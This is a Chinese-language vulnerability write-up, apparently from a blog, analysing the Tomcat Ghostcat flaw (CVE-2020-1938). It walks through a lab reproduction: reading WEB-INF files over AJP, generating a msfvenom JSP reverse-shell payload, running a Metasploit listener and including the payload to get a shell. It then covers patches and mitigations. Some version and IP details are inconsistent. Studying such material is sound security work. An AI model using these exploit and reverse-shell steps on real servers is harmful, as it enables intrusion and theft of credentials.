CVE-2020-1938源碼分析與漏洞復現(Tomcat 文件包含/讀取)

漏洞概述

漏洞名稱:Tomcat AJP協議文件包含/讀取漏洞(Ghostcat)
CVE 編號:CVE-2020-1938
CVSS 評分:9.8
影響版本

  • Apache Tomcat 6.x (≤ 6.0.53)
  • Apache Tomcat 7.x (≤ 7.0.99)
  • Apache Tomcat 8.x (≤ 8.5.51)
  • Apache Tomcat 9.x (≤ 9.0.31)
    修復版本:≥ 7.0.100 / 8.5.52 / 9.0.31
    漏洞類型:文件包含/讀取 → 可導致遠程代碼執行(RCE)
    根本原因:Tomcat AJP協議處理器未對請求路徑做安全校驗,攻擊者通過構造惡意AJP請求可讀取Web目錄任意文件(含WEB-INF敏感文件),結合文件上傳可執行任意代碼。

漏洞原理與源碼分析

1. 漏洞觸發條件

  • 開啟AJP服務:默認監聽8009端口(conf/server.xml<Connector port="8009" protocol="AJP/1.3" />)。
  • 攻擊可達性:攻擊者需訪問AJP端口(常暴露于內網,但公網容器可能誤配置暴露)。

2. 關鍵源碼定位

(1)AJP請求處理入口:AjpProcessor#process
代碼路徑org.apache.coyote.ajp.AjpProcessor

public SocketState process(SocketWrapper<Socket> socket)throws IOException {...prepareRequest(); // 解析AJP請求頭..adapter.service(request, response); // 轉發請求...}

漏洞點:未校驗request_uriattributes的合法性,允許構造惡意路徑。

(2)請求路由邏輯:CoyoteAdapter#service
代碼路徑org.apache.catalina.connector.CoyoteAdapter

public void service(org.apache.coyote.Request req, org.apache.coyote.Response res) {...connector.getService().getContainer().getPipeline().getFirst().invoke(request, response); // 進入容器處理鏈...
}

(3)文件讀取漏洞點:DefaultServlet#doGet
代碼路徑org.apache.catalina.servlets.DefaultServlet

 @Overrideprotected void doPost(HttpServletRequest request,HttpServletResponse response)throws IOException, ServletException {doGet(request, response);}
protected void serveResource(HttpServletRequest request,HttpServletResponse response,boolean content)throws IOException, ServletException {String path = getRelativePath(request);// 獲取請求路徑(可被惡意構造)...if (path.endsWith("/") || (path.endsWith("\\"))) {String requestUri = (String) request.getAttribute(RequestDispatcher.INCLUDE_REQUEST_URI);if (requestUri == null) {requestUri = request.getRequestURI();}response.sendError(HttpServletResponse.SC_NOT_FOUND,requestUri);return;// 目錄請求跳過}...// 關鍵:直接讀取文件并返回內容(無路徑校驗)InputStream renderResult = null;if (cacheEntry.context != null) {if (serveContent) {          renderResult = render(getPathPrefix(request), cacheEntry);}}if (serveContent) {try {response.setBufferSize(output);} catch (IllegalStateException e) {}if (ostream != null) {if (!checkSendfile(request, response, cacheEntry, contentLength, null))copy(cacheEntry, renderResult, ostream);} else {copy(cacheEntry, renderResult, writer);}}

漏洞利用:通過AJP協議傳遞javax.servlet.include.path_info屬性,可繞過路徑限制訪問WEB-INF目錄。

3. 敏感文件讀取機制

Tomcat安全限制:

  • 瀏覽器直接請求/WEB-INF/web.xml → 返回404錯誤(受conf/web.xml<servlet-mapping>保護)。
  • AJP協議繞過原理
    構造attributes
    {  javax.servlet.include.path_info: "/WEB-INF/web.xml",  javax.servlet.include.servlet_path: "/"  
    }  
    
    使DefaultServlet/WEB-INF/web.xml識別為合法路徑,從而讀取敏感文件。

漏洞利用方式

1. 攻擊流程

攻擊者 AJP端口(8009) AJP處理器 CoyoteAdapter DefaultServlet 文件系統 發送惡意AJP請求 解析請求 路由請求 讀取WEB-INF/web.xml 返回敏感文件內容 攻擊者 AJP端口(8009) AJP處理器 CoyoteAdapter DefaultServlet 文件系統

2. 兩種利用場景

利用類型Payload示例影響
敏感文件讀取讀取WEB-INF/web.xml獲取數據庫密碼信息泄露、權限提升
遠程代碼執行結合文件上傳漏洞+文件包含執行JSP WebShell服務器完全淪陷

3. 利用工具與步驟

(1).使用 Vulhub 環境啟動漏洞靶機
docker-compose up -d

在這里插入圖片描述

(2)訪問 http://target:8080,確認服務正常運行

在這里插入圖片描述

(3)下載漏洞利用工具
(4)讀取敏感文件
  • 用python2執行工具中的Tomcat-ROOT路徑下文件讀取(CVE-2020-1938).py
python Tomcat-ROOT路徑下文件讀取(CVE-2020-1938).py -p 8009 -f /WEB-INF/web.xml 192.168.1.100
//換為自己靶場的ip

在這里插入圖片描述

  • 讀取到敏感文件
    (5)下面模擬結合文件上傳,實現反彈shell
  • kail生成payload
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.102 LPORT=6666 -f raw > shell.txt

在這里插入圖片描述

(6)由于是模擬文件上傳,所以這里直接將shell.txt,復制到靶機容器中
docker cp shell.txt 容器id:/usr/local/tomcat/webapps/ROOT/WEB-INF/

在這里插入圖片描述

(7)kali開啟監聽
msfconsole
use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.31.150 # kali的IP
set lport 4444 # 監聽端口
run

在這里插入圖片描述

(8)利用之前的工具包含shell.txt
python 'Tomcat-ROOT路徑下文件包含(CVE-2020-1938).py' -p 8009 -f /WEB-INF/shell.txt 192.168.1.100
(9)成功getshell

在這里插入圖片描述


影響范圍與修復方案

1. 受影響版本

Tomcat 分支受影響版本安全版本
6.x≤ 6.0.53無官方修復(EOL)
7.x≤ 7.0.99≥ 7.0.100
8.x≤ 8.5.51≥ 8.5.52
9.x≤ 9.0.31≥ 9.0.31

2. 官方修復方案

  • 補丁提交:修訂記錄
  • 修復邏輯
    1. 禁用javax.servlet.include.*屬性(AjpProcessor):
      // 檢查并拒絕包含敏感屬性
      if (request.getAttribute(Globals.REQUEST_DISPATCHER_PATH_ATTR) != null) {response.setStatus(403); // 直接返回403禁止return;
      }  
      
    2. 增加requiredSecret認證(強制AJP連接配置密碼)。

3. 臨時緩解措施

  1. 關閉AJP服務
    <!-- conf/server.xml -->  
    <!-- 注釋AJP Connector -->  
    <!-- <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" /> -->  
    
  2. 網絡隔離
    • 防火墻限制8009端口僅允許可信IP訪問。
  3. 升級中間件
    • 使用Nginx反向代理并過濾惡意請求。

漏洞啟示

  1. 最小化暴露:非必要網絡服務(如AJP)應默認關閉。
  2. 協議安全性:二進制協議需嚴格校驗屬性合法性。
  3. 縱深防御:敏感目錄(WEB-INF)的訪問控制需在多層實現(容器/代碼/網絡)。

參考鏈接

  1. CVE-2020-1938 官方通告(Apache Tomcat)
  2. 漏洞原理深度解析(長亭科技)
  3. 源碼分析與補丁解讀(知乎專欄)
  4. Tomcat CVE-2020-1938 漏洞復現和利用過程(csdn)

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/86972.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/86972.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/86972.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

基于51單片機的簡易打鈴系統

目錄 具體實現功能 設計介紹 資料內容 全部內容 資料獲取 具體實現功能 具體功能&#xff1a; &#xff08;1&#xff09;實時顯示當前時間&#xff08;時、分、秒&#xff09;&#xff0c;LED模式指示燈亮&#xff1b;4個按鍵可以調整時間的時和分。 &#xff08;2&…

vue+cesium示例:3D熱力圖(附源碼下載)

接到一位知識星友的邀請&#xff0c;隨機模擬三維數據點&#xff0c;結合heatmap.js實現基于cesiumvue的3D熱力圖需求&#xff0c;適合學習Cesium與前端框架結合開發3D可視化項目。 demo源碼運行環境以及配置 運行環境&#xff1a;依賴Node安裝環境&#xff0c;demo本地Node版本…

批處理實現:自動抓取perfetto日志 自動導出到當前文件夾 自動打開分析頁面

序言 最近在研究性能問題需要抓取trace文件。于是寫了個腳本 使用 雙擊運行批處理文件&#xff0c;可以開始記錄trace。而且以當前文件夾下面的。config.pbtx 作為配置文件。 &#xff08;pbtx就是一個json文件。配置了需要抓取那些參數&#xff0c;可以通過https://ui.per…

未來機器人的大腦:如何用神經網絡模擬器實現更智能的決策?

編輯&#xff1a;陳萍萍的公主一點人工一點智能 未來機器人的大腦&#xff1a;如何用神經網絡模擬器實現更智能的決策&#xff1f;RWM通過雙自回歸機制有效解決了復合誤差、部分可觀測性和隨機動力學等關鍵挑戰&#xff0c;在不依賴領域特定歸納偏見的條件下實現了卓越的預測準…

??Promise代碼理解

1.事件循環與 Promise 執行順序 案例 1&#xff1a;基礎 Promise 同步異步區分 console.log(1); new Promise(resolve > {console.log(2);resolve();console.log(3); }).then(() > console.log(4)); console.log(5); 輸出順序&#xff1a;1&#xff0c;2&#xff0c;3…

57、原生組件注入-【源碼分析】DispatcherServlet注入原理

57、原生組件注入DispatcherServlet注入原理 #### 繼承關系 - DispatcherServlet繼承自FrameworkServlet&#xff0c;而FrameworkServlet繼承自HttpServletBean&#xff0c;最終HttpServletBean繼承自HttpServlet。 - DispatcherServlet實現了ApplicationContextAware接口。 …

【動手學深度學習】3.5. 圖像分類數據集

目錄 3.5. 圖像分類數據集1&#xff09;讀取數據集2&#xff09;讀取小批量3&#xff09;整合所有組件4&#xff09;小結 . 3.5. 圖像分類數據集 我們將使用Fashion-MNIST數據集&#xff0c;作為圖像分類數據集。 %matplotlib inline import torch import torchvision from …

Python的格式化輸入輸出

# Python 的格式化輸出和格式化輸入## 格式化輸出Python 提供了多種字符串格式化的方法&#xff1a;### 1. % 格式化&#xff08;舊式格式化&#xff09;python name "Alice" age 25 print("Name: %s, Age: %d" % (name, age)) # 輸出: Name: Alice, Age…

day65—回溯—單詞搜索(LeetCode-79)

題目描述 給定一個 m x n 二維字符網格 board 和一個字符串單詞 word 。如果 word 存在于網格中&#xff0c;返回 true &#xff1b;否則&#xff0c;返回 false 。 單詞必須按照字母順序&#xff0c;通過相鄰的單元格內的字母構成&#xff0c;其中“相鄰”單元格是那些水平相…

iOS安全和逆向系列教程 第19篇:ARM64匯編語言基礎與逆向分析

引言 在成功掌握iOS應用脫殼技術后,我們獲得了可以進行靜態分析的二進制文件。然而,要真正理解iOS應用的底層邏輯,我們必須深入到匯編語言層面。ARM64(也稱為AArch64)是蘋果在iPhone 5s及以后設備中使用的指令集架構。本篇文章將深入探討ARM64匯編語言的基礎知識,并結合…

使用Gitlab CI/CD結合docker容器實現自動化部署

Gitlab CI/CD基本介紹 核心概念 持續集成&#xff08;CI&#xff09;&#xff1a;每次代碼提交后自動觸發構建、測試和代碼檢查&#xff0c;確保代碼質量 持續交付/部署&#xff08;CD&#xff09;&#xff1a;在 CI 基礎上自動將代碼部署到測試或生產環境&#xff0c;支持人工…

初學者運行Pycharm程序可能會出現的問題,及解決辦法

文章目錄 前言一、ModuleNotFoundError: No module named sklearn二、ImportError: cannot import name show_config from numpy (unknown location)三、Pycharm報錯&#xff1a;“Original error was: DLL load failed: 找不到指定的模塊“ 的解決辦法四、ImportError: cannot…

Android開發中的Java與Kotlin:全面對比與深度解析

Android開發中的Java與Kotlin&#xff1a;全面對比與深度解析 在Android開發領域&#xff0c;Java和Kotlin是兩種主流編程語言。自Google在2017年宣布Kotlin為Android官方支持語言以來&#xff0c;Kotlin憑借其現代語法特性和與Java的無縫兼容性&#xff0c;逐漸成為開發者的新…

為應對激烈競爭環境,IBMS系統如何提升企業管理效率

IBMS智能管理系統&#xff1a;賦能企業高效運營&#xff0c;決勝競爭新時代 在瞬息萬變的商業環境中&#xff0c;效率就是競爭力&#xff01;企業如何快速響應市場變化、優化內部流程、降低成本并實現精準決策&#xff1f;IBMS智能管理系統以創新科技為引擎&#xff0c;為企業…

2.3 ASPICE的架構與設計

在ASPICE中&#xff0c;架構與設計是汽車軟件開發過程中非常重要的一環&#xff0c;它涉及到定義和設計軟件系統的整體結構、組件以及其相互關系。良好的架構與設計可以幫助團隊更好地理解和管理軟件系統&#xff0c;提高系統的可維護性、可擴展性和性能。以下是ASPICE中架構與…

生益PCB耐高溫PCB板材怎么樣?

在5G基站晝夜不停地吞吐數據時&#xff0c;在新能源汽車電池管理系統經受極寒酷暑考驗時&#xff0c;在航空航天器穿越大氣層承受2000℃熱浪沖擊時&#xff0c;一塊優質PCB板材的“抗熱基因”正在決定著整個系統的生死存亡。生益科技研發的耐高溫PCB板材&#xff0c;正是在這場…

Java Spring ApplicationEvent 概述

一、Spring 事件機制核心概念 1. 事件驅動架構模型 發布-訂閱模式&#xff1a;解耦事件生產者和消費者觀察者模式&#xff1a;監聽器監聽特定事件事件驅動優勢&#xff1a; 組件間松耦合系統擴展性好支持異步處理事件溯源支持 2. 核心組件 組件作用實現方式ApplicationEve…

Spring核心框架完全指南 - 基礎知識全解析

?? 目錄 ?? Spring框架簡介 ??? IoC容器詳解 ?? 依賴注入(DI)深入理解 ?? Bean配置與管理 ?? Bean的作用域 ?? Bean生命周期 ?? 面向切面編程(AOP) ?? Spring注解詳解 ?? 資源管理 ?? 事件機制 ?? SpEL表達式語言 ?? 實戰案例 ?? 總…

Parasoft C++Test軟件集成測試(部件測試)_操作指南

系列文章目錄 Parasoft C++Test軟件靜態分析:操作指南(編碼規范、質量度量)、常見問題及處理 Parasoft C++Test軟件單元測試:操作指南、實例講解、常見問題及處理 Parasoft C++Test軟件集成測試:操作指南、實例講解、常見問題及處理 進階擴展:自動生成靜態分析文檔、自動…

聊一聊 Linux 上對函數進行 hook 的兩種方式

一&#xff1a;背景 1. 講故事 前兩篇我們介紹了 Minhook 在 Windows 平臺上的強大功效&#xff0c;這一篇我們來聊一聊如何在 Linux 上對函數進行hook&#xff0c;這里介紹兩種方式。 輕量級的 LD_PRELOAD 攔截 LD_PRELOAD是一種共享庫攔截&#xff0c;這種方式的優點在于…